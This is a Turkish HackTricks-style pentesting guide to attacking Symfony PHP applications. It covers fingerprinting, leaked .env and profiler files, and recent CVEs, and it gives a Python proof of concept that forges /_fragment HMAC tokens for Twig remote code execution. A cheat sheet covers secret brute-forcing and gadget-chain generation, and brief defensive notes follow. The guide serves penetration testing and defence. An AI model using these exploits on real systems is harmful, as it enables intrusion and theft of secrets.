125 lines
6.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Symfony
{{#include ../../banners/hacktricks-training.md}}
Symfony, en yaygın kullanılan PHP framework'lerinden biridir ve genellikle kurumsal, e-ticaret ve CMS hedeflerinin değerlendirmelerinde (Drupal, Shopware, Ibexa, OroCRM … hepsi Symfony bileşenlerini içerir) yer alır. Bu sayfa, bir Symfony uygulaması keşfettiğinizde kontrol listenizde bulunması gereken saldırgan ipuçlarını, yaygın yanlış yapılandırmaları ve son güvenlik açıklarını toplar.
> Tarihsel not: Ekosistemin büyük bir kısmı hala **5.4 LTS** dalında çalışıyor (EOL **Kasım 2025**). Tam küçük sürümü her zaman doğrulayın çünkü birçok 2023-2025 güvenlik duyurusu yalnızca yamanmış sürümlerde düzeltildi (örneğin, 5.4.46 → 5.4.50).
---
## Recon & Enumeration
### Finger-printing
* HTTP yanıt başlıkları: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` veya `sf_redirect`, `sf_session`, `MOCKSESSID` ile başlayan çerezler.
* Kaynak kodu sızıntıları (`composer.json`, `composer.lock`, `/vendor/…`) genellikle tam sürümü ortaya çıkarır:
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Sadece Symfony'de bulunan kamuya açık yollar:
* `/_profiler` (Symfony **Profiler** & hata ayıklama aracı)
* `/_wdt/<token>` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (güzel hata sayfaları)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (4.0 öncesi geliştirme ön kontrolörleri)
* Wappalyzer, BuiltWith veya ffuf/feroxbuster kelime listeleri: `symfony.txt``/_fragment`, `/_profiler`, `.env`, `.htaccess` arayın.
### İlginç dosyalar & uç noktalar
| Yol | Neden önemli |
|------|----------------|
| `/.env`, `/.env.local`, `/.env.prod` | Sıkça yanlış dağıtım → `APP_SECRET`, DB kimlik bilgileri, SMTP, AWS anahtarları sızar |
| `/.git`, `.svn`, `.hg` | Kaynak ifşası → kimlik bilgileri + iş mantığı |
| `/var/log/*.log`, `/log/dev.log` | Web kök yanlış yapılandırması yığın izlerini açığa çıkarır |
| `/_profiler` | Tam istek geçmişi, yapılandırma, hizmet konteyneri, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | ESI/HInclude tarafından kullanılan giriş noktası. `APP_SECRET` bilindiğinde kötüye kullanım mümkündür |
| `/vendor/phpunit/phpunit/phpunit` | Erişilebilir ise PHPUnit RCE (CVE-2017-9841) |
| `/index.php/_error/{code}` | Finger-print & bazen istisna izlerini sızdırır |
---
## Yüksek Etkili Güvenlik Açıkları (2023-2025)
### 1. APP_SECRET ifşası ➜ RCE via `/_fragment` (aka “secret-fragment”)
* **CVE-2019-18889** başlangıçta, ancak *hala* hata ayıklama etkin bırakıldığında veya `.env`ığa çıktığında modern hedeflerde görünmektedir.
* 32 karakterlik `APP_SECRET`'i bildiğinizde, bir HMAC token oluşturun ve rastgele Twig çalıştırmak için dahili `render()` kontrolörünü kötüye kullanın:
```python
# PoC gizli anahtar gerektirir
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # Twig'de RCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* Harika bir yazım ve istismar scripti: Ambionics blogu (Kaynaklar'da bağlantılı).
### 2. Windows Process Hijack CVE-2024-51736
* `Process` bileşeni, Windows'ta `PATH`'ten **önce** geçerli çalışma dizinini aradı. Yazılabilir bir web köküne `tar.exe`, `cmd.exe` vb. yükleyebilen bir saldırgan, `Process`'i tetikleyerek (örneğin, dosya çıkarma, PDF oluşturma) komut yürütme elde eder.
* 5.4.50, 6.4.14, 7.1.7'de yamanmıştır.
### 3. Session-Fixation CVE-2023-46733
* Kimlik doğrulama koruyucusu, giriş yaptıktan sonra mevcut bir oturum kimliğini yeniden kullandı. Bir saldırgan, kurban kimlik doğrulama yapmadan **önce** çerezi ayarlarsa, giriş sonrası hesabı ele geçirir.
### 4. Twig sandbox XSS CVE-2023-46734
* Kullanıcı kontrolündeki şablonları (admin CMS, e-posta oluşturucu) açığa çıkaran uygulamalarda `nl2br` filtresi, sandbox'ı atlatmak ve JS enjekte etmek için kötüye kullanılabilir.
### 5. Symfony 1 gadget zincirleri (hala eski uygulamalarda bulunuyor)
* `phpggc symfony/1 system id` komutu, `sfNamespacedParameterHolder` gibi sınıflarda unserialize() gerçekleştiğinde RCE'yi tetikleyen bir Phar yükü üretir. Dosya yükleme uç noktalarını ve `phar://` sarmalayıcılarını kontrol edin.
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## Exploitation Cheat-Sheet
### Calculate HMAC token for `/_fragment`
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### Zayıf `APP_SECRET` için Bruteforce
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE via exposed Symfony Console
Eğer `bin/console` `php-fpm` veya doğrudan CLI yüklemesi aracılığıyla erişilebilir ise:
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
Kötü niyetli Twig şablonunu bir sonraki istekte çalıştırmak için önbellek dizininde serileştirme aletleri kullanın veya yazın.
---
## Savunma notları
1. **Asla hata ayıklama dağıtmayın** (`APP_ENV=dev`, `APP_DEBUG=1`) üretime; web sunucusu yapılandırmasında `/app_dev.php`, `/_profiler`, `/_wdt`'yi engelleyin.
2. Gizli anahtarları env değişkenlerinde veya `vault/secrets.local.php`'da saklayın, *asla* belge köküne erişilebilen dosyalarda saklamayın.
3. Yaman yönetimini zorunlu kılın Symfony güvenlik duyurularına abone olun ve en az LTS yaman seviyesini koruyun.
4. Windows'ta çalışıyorsanız, CVE-2024-51736'yı hafifletmek için hemen güncelleyin veya `open_basedir`/`disable_functions` derinlik savunması ekleyin.
---
### Kullanışlı saldırgan araçlar
* **ambionics/symfony-exploits** gizli parça RCE, hata ayıklayıcı yollar keşfi.
* **phpggc** Symfony 1 & 2 için hazır gadget zincirleri.
* **sf-encoder** `_fragment` HMAC'ını hesaplamak için küçük bir yardımcı (Go uygulaması).
## Referanslar
* [Ambionics Symfony “secret-fragment” Uzak Kod Yürütme](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Güvenlik Duyurusu CVE-2024-51736: Windows İşlem Bileşeninde Komut Yürütme Ele Geçirme](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}